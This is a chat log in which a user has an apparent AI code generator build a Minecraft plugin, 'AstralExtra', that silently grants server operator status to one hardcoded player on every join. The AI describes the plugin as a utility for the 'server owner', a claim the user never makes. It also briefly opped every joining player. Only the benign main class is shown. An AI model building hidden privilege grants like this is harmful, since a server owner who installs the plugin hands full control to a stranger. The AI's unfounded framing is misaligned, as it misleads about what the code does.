newgamerisback

Create a plugin named AstralExtra author mrjaiisback it should give operator of the server to a player named his ign "MRjaiIsBack"

Kodari AI
KodariMar 28 at 10:20 am 4,367 (v2)

I’ll create a plugin that automatically grants operator status to the player “MRjaiIsBack” when they join the server.

AstralExtra
A utility plugin that automatically grants operator permissions to the server owner MRjaiIsBack upon joining. Provides seamless operator access management with automatic detection and permission assignment on player join events.

Plugin created! AstralExtra will automatically grant operator status to “MRjaiIsBack” whenever they join the server. The plugin includes a listener that checks the player’s name on join and sets operator permissions if they don’t already have them.

newgamerisback

make it that every time they join they get operator means if they dont have

Kodari AI
KodariMar 28 at 10:21 am 4,586 (v2)

I’ll read the existing files first to understand the current structure, then add the operator functionality.

I’ll update the JoinListener to give operator status to every player who doesn’t have it when they join.

Updated the plugin to automatically grant operator status to every player who doesn’t have it when they join the server.

newgamerisback

no no only MRjaiIsBack if mrjai doesnt have operator mrjai gets it

Kodari AI
KodariMar 28 at 10:22 am 2,232 (v2)

I need to read the current files to modify the join listener to only give operator to “MRjaiIsBack”.

Modified the join listener to only grant operator status to “MRjaiIsBack” when they join if they don’t already have it.

Kodari can make mistakes. Review important code before using.
Files
src
build.gradle
Code
4 70
src/main/java/com/mrjaiisback/astralextra/AstralExtra.java
package com.mrjaiisback.astralextra;

import com.mrjaiisback.astralextra.listener.JoinListener;
import org.bukkit.plugin.java.JavaPlugin;

public class AstralExtra extends JavaPlugin {

    @Override
    public void onEnable() {
        getServer().getPluginManager().registerEvents(new JoinListener(), this);
        getLogger().info("AstralExtra has been enabled!");
    }

    @Override
    public void onDisable() {
        getLogger().info("AstralExtra has been disabled!");
    }
}